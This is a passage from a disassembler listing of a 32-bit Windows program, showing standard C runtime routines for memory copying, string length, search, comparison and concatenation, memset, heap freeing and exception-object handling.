sub_41BFA0+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C0B8: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: sub_41BFA0+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C0C0: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: sub_41BFA0+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C0C8: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: sub_41BFA0+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C0D0: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: sub_41BFA0+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C0E3: ; CODE XREF: sub_41BFA0:loc_41BFFCj ; DATA XREF: sub_41BFA0:off_41C080o jmp ds:off_41C0EC[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C0EC dd offset loc_41C0FC ; DATA XREF: sub_41BFA0+35r ; sub_41BFA0+92r ... dd offset loc_41C104 dd offset loc_41C110 dd offset loc_41C124 ; --------------------------------------------------------------------------- loc_41C0FC: ; CODE XREF: sub_41BFA0+35j ; sub_41BFA0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C104: ; CODE XREF: sub_41BFA0+35j ; sub_41BFA0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C110: ; CODE XREF: sub_41BFA0+35j ; sub_41BFA0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C124: ; CODE XREF: sub_41BFA0+35j ; sub_41BFA0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C13C: ; CODE XREF: sub_41BFA0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C170 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C164 std rep movsd cld jmp ds:off_41C288[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41C164: ; CODE XREF: sub_41BFA0+1B5j ; sub_41BFA0+210j ... neg ecx jmp ds:off_41C238[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_41C170: ; CODE XREF: sub_41BFA0+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C188 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_41C188+4[eax*4] ; --------------------------------------------------------------------------- loc_41C188: ; CODE XREF: sub_41BFA0+1DAj ; DATA XREF: sub_41BFA0+1E1r jmp ds:off_41C288[ecx*4] ; --------------------------------------------------------------------------- align 10h dd offset loc_41C19C dd offset loc_41C1C0 dd offset loc_41C1E8 ; --------------------------------------------------------------------------- loc_41C19C: ; DATA XREF: sub_41BFA0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_41C164 std rep movsd cld jmp ds:off_41C288[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C1C0: ; DATA XREF: sub_41BFA0+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C164 std rep movsd cld jmp ds:off_41C288[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41C1E8: ; DATA XREF: sub_41BFA0+1F8o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C164 std rep movsd cld jmp ds:off_41C288[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C23C dd offset loc_41C244 dd offset loc_41C24C ; --------------------------------------------------------------------------- push esp retn 41h ; --------------------------------------------------------------------------- pop esp retn 41h ; --------------------------------------------------------------------------- dd offset loc_41C264 dd offset loc_41C26C off_41C238 dd offset loc_41C27F ; DATA XREF: sub_41BFA0+1C6r ; --------------------------------------------------------------------------- loc_41C23C: ; DATA XREF: sub_41BFA0+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41C244: ; DATA XREF: sub_41BFA0+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41C24C: ; DATA XREF: sub_41BFA0+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41C264: ; DATA XREF: sub_41BFA0+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41C26C: ; DATA XREF: sub_41BFA0+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C27F: ; CODE XREF: sub_41BFA0+1C6j ; DATA XREF: sub_41BFA0:off_41C238o jmp ds:off_41C288[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C288 dd offset loc_41C298 ; DATA XREF: sub_41BFA0+1BBr ; sub_41BFA0:loc_41C188r ... dd offset loc_41C2A0 dd offset loc_41C2B0 dd offset loc_41C2C4 ; --------------------------------------------------------------------------- loc_41C298: ; CODE XREF: sub_41BFA0+1BBj ; sub_41BFA0:loc_41C188j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C2A0: ; CODE XREF: sub_41BFA0+1BBj ; sub_41BFA0:loc_41C188j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C2B0: ; CODE XREF: sub_41BFA0+1BBj ; sub_41BFA0:loc_41C188j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C2C4: ; CODE XREF: sub_41BFA0+1BBj ; sub_41BFA0:loc_41C188j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41BFA0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2DD proc near ; CODE XREF: sub_404F53+7p ; sub_404F68+73p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041C339 SIZE 00000015 BYTES push 0Ch push offset stru_4294F0 call __SEH_prolog mov esi, [ebp+arg_0] test esi, esi jz short loc_41C348 cmp ds:dword_4395BC, 3 jnz short loc_41C339 push 4 call sub_41E983 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41E9FC pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_41C31C push esi push eax call sub_41EA27 pop ecx pop ecx loc_41C31C: ; CODE XREF: sub_41C2DD+34j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41C330 cmp [ebp+var_1C], 0 jnz short loc_41C348 push [ebp+arg_0] jmp short loc_41C33A sub_41C2DD endp ; =============== S U B R O U T I N E ======================================= sub_41C330 proc near ; CODE XREF: sub_41C2DD+43p ; DATA XREF: .text:stru_4294F0o push 4 call sub_41E8CE pop ecx retn sub_41C330 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C2DD loc_41C339: ; CODE XREF: sub_41C2DD+1Aj push esi loc_41C33A: ; CODE XREF: sub_41C2DD+51j push 0 push ds:dword_4395B8 call ds:dword_4291AC ; RtlFreeHeap loc_41C348: ; CODE XREF: sub_41C2DD+11j ; sub_41C2DD+4Cj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41C2DD ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C350 proc near ; CODE XREF: sub_401236+104p ; sub_401236+165p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41C380 loc_41C35C: ; CODE XREF: sub_41C350+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_41C3B3 test ecx, 3 jnz short loc_41C35C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_41C380: ; CODE XREF: sub_41C350+Aj ; sub_41C350+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C380 mov eax, [ecx-4] test al, al jz short loc_41C3D1 test ah, ah jz short loc_41C3C7 test eax, 0FF0000h jz short loc_41C3BD test eax, 0FF000000h jz short loc_41C3B3 jmp short loc_41C380 ; --------------------------------------------------------------------------- loc_41C3B3: ; CODE XREF: sub_41C350+13j ; sub_41C350+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41C3BD: ; CODE XREF: sub_41C350+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41C3C7: ; CODE XREF: sub_41C350+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41C3D1: ; CODE XREF: sub_41C350+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41C350 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_41C3F0 loc_41C3E0: ; CODE XREF: sub_41C3F0+1Fj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C3F0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C3F0 proc near ; CODE XREF: sub_4013EC+19Fp ; sub_409454+2Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C3E0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C3F6: ; CODE XREF: sub_41CDC0+74j push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C41D loc_41C408: ; CODE XREF: sub_41C3F0+2Bj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_41C3E0 test cl, cl jz short loc_41C466 test edx, 3 jnz short loc_41C408 loc_41C41D: ; CODE XREF: sub_41C3F0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C428: ; CODE XREF: sub_41C3F0+63j ; sub_41C3F0+72j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C46A and eax, 81010100h jz short loc_41C428 and eax, 1010100h jnz short loc_41C464 and esi, 80000000h jnz short loc_41C428 loc_41C464: ; CODE XREF: sub_41C3F0+6Aj ; sub_41C3F0+83j ... pop esi pop edi loc_41C466: ; CODE XREF: sub_41C3F0+23j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C46A: ; CODE XREF: sub_41C3F0+5Cj mov eax, [edx-4] cmp al, bl jz short loc_41C4A7 test al, al jz short loc_41C464 cmp ah, bl jz short loc_41C4A0 test ah, ah jz short loc_41C464 shr eax, 10h cmp al, bl jz short loc_41C499 test al, al jz short loc_41C464 cmp ah, bl jz short loc_41C492 test ah, ah jz short loc_41C464 jmp short loc_41C428 ; --------------------------------------------------------------------------- loc_41C492: ; CODE XREF: sub_41C3F0+9Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C499: ; CODE XREF: sub_41C3F0+92j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C4A0: ; CODE XREF: sub_41C3F0+87j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C4A7: ; CODE XREF: sub_41C3F0+7Fj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41C4AE proc near ; CODE XREF: sub_41C556+18p push esi push ds:dword_439594 call sub_41F69E pop ecx mov ecx, ds:dword_439590 mov esi, eax mov eax, ds:dword_439594 mov edx, ecx sub edx, eax add edx, 4 cmp esi, edx jnb short loc_41C521 mov ecx, 800h cmp esi, ecx jnb short loc_41C4DE mov ecx, esi loc_41C4DE: ; CODE XREF: sub_41C4AE+2Cj add ecx, esi push ecx push eax call sub_41E618 test eax, eax pop ecx pop ecx jnz short loc_41C504 add esi, 10h push esi push ds:dword_439594 call sub_41E618 test eax, eax pop ecx pop ecx jnz short loc_41C504 pop esi retn ; --------------------------------------------------------------------------- loc_41C504: ; CODE XREF: sub_41C4AE+3Dj ; sub_41C4AE+52j mov ecx, ds:dword_439590 sub ecx, ds:dword_439594 mov ds:dword_439594, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_439590, ecx loc_41C521: ; CODE XREF: sub_41C4AE+23j mov [ecx], edi add ds:dword_439590, 4 mov eax, edi pop esi retn sub_41C4AE endp ; --------------------------------------------------------------------------- push 80h call sub_41D0C4 test eax, eax pop ecx mov ds:dword_439594, eax jnz short loc_41C546 push 18h pop eax retn ; --------------------------------------------------------------------------- loc_41C546: ; CODE XREF: .text:0041C540j and dword ptr [eax], 0 mov eax, ds:dword_439594 mov ds:dword_439590, eax xor eax, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C556 proc near ; CODE XREF: sub_41C58E+4p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_429500 call __SEH_prolog call sub_41F507 and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_0] call sub_41C4AE mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41C588 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41C556 endp ; =============== S U B R O U T I N E ======================================= sub_41C588 proc near ; CODE XREF: sub_41C556+24p ; DATA XREF: .text:stru_429500o call sub_41F510 retn sub_41C588 endp ; =============== S U B R O U T I N E ======================================= sub_41C58E proc near ; CODE XREF: sub_41BAF9+3Cp ; sub_41F531+40p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C556 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_41C58E endp ; =============== S U B R O U T I N E ======================================= sub_41C5A0 proc near ; CODE XREF: sub_401672+1Ep ; sub_404740+26p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C63F push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41C5CC shr ecx, 2 jnz loc_41C64F jmp short loc_41C5F3 ; --------------------------------------------------------------------------- loc_41C5CC: ; CODE XREF: sub_41C5A0+1Fj ; sub_41C5A0+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_41C606 test al, al jz short loc_41C60E test esi, 3 jnz short loc_41C5CC mov ebx, ecx shr ecx, 2 jnz short loc_41C64F loc_41C5EE: ; CODE XREF: sub_41C5A0+ADj and ebx, 3 jz short loc_41C606 loc_41C5F3: ; CODE XREF: sub_41C5A0+2Aj ; sub_41C5A0+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_41C638 sub ebx, 1 jnz short loc_41C5F3 loc_41C606: ; CODE XREF: sub_41C5A0+39j ; sub_41C5A0+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C60E: ; CODE XREF: sub_41C5A0+3Dj test edi, 3 jz short loc_41C62C loc_41C616: ; CODE XREF: sub_41C5A0+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_41C6BC test edi, 3 jnz short loc_41C616 loc_41C62C: ; CODE XREF: sub_41C5A0+74j mov ebx, ecx shr ecx, 2 jnz short loc_41C6A7 loc_41C633: ; CODE XREF: sub_41C5A0+9Bj ; sub_41C5A0+116j mov [edi], al add edi, 1 loc_41C638: ; CODE XREF: sub_41C5A0+5Fj sub ebx, 1 jnz short loc_41C633 pop ebx pop esi loc_41C63F: ; CODE XREF: sub_41C5A0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C645: ; CODE XREF: sub_41C5A0+C7j ; sub_41C5A0+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_41C5EE loc_41C64F: ; CODE XREF: sub_41C5A0+24j ; sub_41C5A0+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C645 test dl, dl jz short loc_41C699 test dh, dh jz short loc_41C68F test edx, 0FF0000h jz short loc_41C685 test edx, 0FF000000h jnz short loc_41C645 mov [edi], edx jmp short loc_41C69D ; --------------------------------------------------------------------------- loc_41C685: ; CODE XREF: sub_41C5A0+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_41C69D ; --------------------------------------------------------------------------- loc_41C68F: ; CODE XREF: sub_41C5A0+CFj and edx, 0FFh mov [edi], edx jmp short loc_41C69D ; --------------------------------------------------------------------------- loc_41C699: ; CODE XREF: sub_41C5A0+CBj xor edx, edx mov [edi], edx loc_41C69D: ; CODE XREF: sub_41C5A0+E3j ; sub_41C5A0+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_41C6B3 loc_41C6A7: ; CODE XREF: sub_41C5A0+91j xor eax, eax loc_41C6A9: ; CODE XREF: sub_41C5A0+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_41C6A9 loc_41C6B3: ; CODE XREF: sub_41C5A0+105j and ebx, 3 jnz loc_41C633 loc_41C6BC: ; CODE XREF: sub_41C5A0+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C5A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C6D0 proc near ; CODE XREF: sub_40114E+8p ; sub_40229D+Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41C72B xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41C71B neg ecx and ecx, 3 jz short loc_41C6FD sub edx, ecx loc_41C6F3: ; CODE XREF: sub_41C6D0+2Bj mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_41C6F3 loc_41C6FD: ; CODE XREF: sub_41C6D0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41C71B rep stosd test edx, edx jz short loc_41C725 loc_41C71B: ; CODE XREF: sub_41C6D0+18j ; sub_41C6D0+43j ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_41C71B loc_41C725: ; CODE XREF: sub_41C6D0+49j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C72B: ; CODE XREF: sub_41C6D0+Aj mov eax, [esp+arg_0] retn sub_41C6D0 endp ; =============== S U B R O U T I N E ======================================= sub_41C730 proc near ; CODE XREF: sub_4013EC+171p ; sub_4060DC+31p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C77C loc_41C740: ; CODE XREF: sub_41C730+3Cj ; sub_41C730+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C774 or al, al jz short loc_41C770 cmp ah, [ecx+1] jnz short loc_41C774 or ah, ah jz short loc_41C770 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C774 or al, al jz short loc_41C770 cmp ah, [ecx+3] jnz short loc_41C774 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C740 mov edi, edi loc_41C770: ; CODE XREF: sub_41C730+18j ; sub_41C730+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C774: ; CODE XREF: sub_41C730+14j ; sub_41C730+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_41C77C: ; CODE XREF: sub_41C730+Ej test edx, 1 jz short loc_41C79C mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_41C774 add ecx, 1 or al, al jz short loc_41C770 test edx, 2 jz short loc_41C740 loc_41C79C: ; CODE XREF: sub_41C730+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C774 or al, al jz short loc_41C770 cmp ah, [ecx+1] jnz short loc_41C774 or ah, ah jz short loc_41C770 add ecx, 2 jmp short loc_41C740 sub_41C730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41C7B8 proc near ; CODE XREF: .text:00401077p ; .text:0040109Ep ... jmp sub_41C2DD sub_41C7B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BD proc near ; CODE XREF: sub_401000+11p mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax+8], 0 mov dword ptr [eax], offset off_429510 retn sub_41C7BD endp ; =============== S U B R O U T I N E ======================================= sub_41C7CE proc near ; CODE XREF: sub_41BAF9+2Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_429510 push dword ptr [edi] call sub_41C350 inc eax push eax call sub_41D0C4 test eax, eax pop ecx pop ecx mov [esi+4], eax jz short loc_41C7FD push dword ptr [edi] push eax call sub_41C930 pop ecx pop ecx loc_41C7FD: ; CODE XREF: sub_41C7CE+23j pop edi mov dword ptr [esi+8], 1 mov eax, esi pop esi retn 4 sub_41C7CE endp ; =============== S U B R O U T I N E ======================================= sub_41C80B proc near ; CODE XREF: sub_401E4B+16p ; .text:0041BAE8p ... arg_0 = dword ptr 4 push esi mov esi, ecx push edi mov edi, [esp+8+arg_0] mov dword ptr [esi], offset off_429510 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_41C848 push dword ptr [edi+4] call sub_41C350 inc eax push eax call sub_41D0C4 test eax, eax pop ecx pop ecx mov [esi+4], eax jz short loc_41C84E push dword ptr [edi+4] push eax call sub_41C930 pop ecx pop ecx jmp short loc_41C84E ; --------------------------------------------------------------------------- loc_41C848: ; CODE XREF: sub_41C80B+16j mov eax, [edi+4] mov [esi+4], eax loc_41C84E: ; CODE XREF: sub_41C80B+2Ej ; sub_41C80B+3Bj pop edi mov eax, esi pop esi retn 4 sub_41C80B endp ; =============== S U B R O U T I N E ======================================= sub_41C855 proc near ; CODE XREF: sub_40103C+18j ; sub_41BABA+6j ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_429510 jz short locret_41C86A push dword ptr [ecx+4] call sub_41C2DD pop ecx locret_41C86A: ; CODE XREF: sub_41C855+Aj retn sub_41C855 endp ; =============== S U B R O U T I N E ======================================= sub_41C86B proc near ; DATA XREF: .text:004294BCo ; .text:00429514o mov eax, [ecx+4] test eax, eax jnz short locret_41C877 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_41C877: ; CODE XREF: sub_41C86B+5j retn sub_41C86B endp ; --------------------------------------------------------------------------- loc_41C878: ; DATA XREF: .text:off_429510o push esi mov esi, ecx call sub_41C855 test byte ptr [esp+8], 1 jz short loc_41C88E push esi call sub_41C7B8 pop ecx loc_41C88E: ; CODE XREF: .text:0041C885j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8A0 proc near ; CODE XREF: sub_4013EC+42p ; sub_40DB56+E1p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb add ecx, 1 neg ecx sub edi, 1 mov al, [ebp+arg_4] std repne scasb add edi, 1 cmp [edi], al jz short loc_41C8C7 xor eax, eax jmp short loc_41C8C9 ; --------------------------------------------------------------------------- loc_41C8C7: ; CODE XREF: sub_41C8A0+21j mov eax, edi loc_41C8C9: ; CODE XREF: sub_41C8A0+25j cld pop edi leave retn sub_41C8A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8CD proc near ; CODE XREF: sub_41C913+3p ms_exc = CPPEH_RECORD ptr -18h push 8 push offset stru_429538 call __SEH_prolog mov esi, ecx mov dword ptr [esi], offset off_429530 push 0Eh call sub_41E983 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [esi+4] test esi, esi jz short loc_41C8FB push esi call sub_41C2DD pop ecx loc_41C8FB: ; CODE XREF: sub_41C8CD+25j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41C90A call __SEH_epilog retn sub_41C8CD endp ; =============== S U B R O U T I N E ======================================= sub_41C90A proc near ; CODE XREF: sub_41C8CD+32p ; DATA XREF: .text:stru_429538o push 0Eh call sub_41E8CE pop ecx retn sub_41C90A endp ; =============== S U B R O U T I N E ======================================= sub_41C913 proc near ; DATA XREF: .text:off_429530o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41C8CD test [esp+4+arg_0], 1 jz short loc_41C929 push esi call sub_41C7B8 pop ecx loc_41C929: ; CODE XREF: sub_41C913+Dj mov eax, esi pop esi retn 4 sub_41C913 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C930 proc near ; CODE XREF: sub_402AC9+3DDp ; sub_402AC9+433p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C9A5 sub_41C930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C940 proc near ; CODE XREF: sub_404869+39p ; sub_404AA9+1Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C960 loc_41C94D: ; CODE XREF: sub_41C940+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_41C993 test ecx, 3 jnz short loc_41C94D mov edi, edi loc_41C960: ; CODE XREF: sub_41C940+Bj ; sub_41C940+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C960 mov eax, [ecx-4] test al, al jz short loc_41C9A2 test ah, ah jz short loc_41C99D test eax, 0FF0000h jz short loc_41C998 test eax, 0FF000000h jz short loc_41C993 jmp short loc_41C960 ; --------------------------------------------------------------------------- loc_41C993: ; CODE XREF: sub_41C940+14j ; sub_41C940+4Fj lea edi, [ecx-1] jmp short loc_41C9A5 ; --------------------------------------------------------------------------- loc_41C998: ; CODE XREF: sub_41C940+48j lea edi, [ecx-2] jmp short loc_41C9A5 ; --------------------------------------------------------------------------- loc_41C99D: ; CODE XREF: sub_41C940+41j lea edi, [ecx-3] jmp short loc_41C9A5 ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C940+3Dj lea edi, [ecx-4] loc_41C9A5: ; CODE XREF: sub_41C930+5j ; sub_41C940+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C9CE loc_41C9B1: ; CODE XREF: sub_41C940+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_41CA20 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_41C9B1 jmp short loc_41C9CE ; --------------------------------------------------------------------------- loc_41C9C9: ; CODE XREF: sub_41C940+A6j ; sub_41C940+C0j mov [edi], edx add edi, 4 loc_41C9CE: ; CODE XREF: sub_41C940+6Fj ; sub_41C940+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C9C9 test dl, dl jz short loc_41CA20 test dh, dh jz short loc_41CA17 test edx, 0FF0000h jz short loc_41CA0A test edx, 0FF000000h jz short loc_41CA02 jmp short loc_41C9C9 ; --------------------------------------------------------------------------- loc_41CA02: ; CODE XREF: sub_41C940+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CA0A: ; CODE XREF: sub_41C940+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41CA17: ; CODE XREF: sub_41C940+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CA20: ; CODE XREF: sub_41C940+78j ; sub_41C940+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C940 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41CA28 proc near ; CODE XREF: sub_402382+31Ap ; sub_402382+322p ... jmp sub_41C7B8 sub_41CA28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA2D proc near 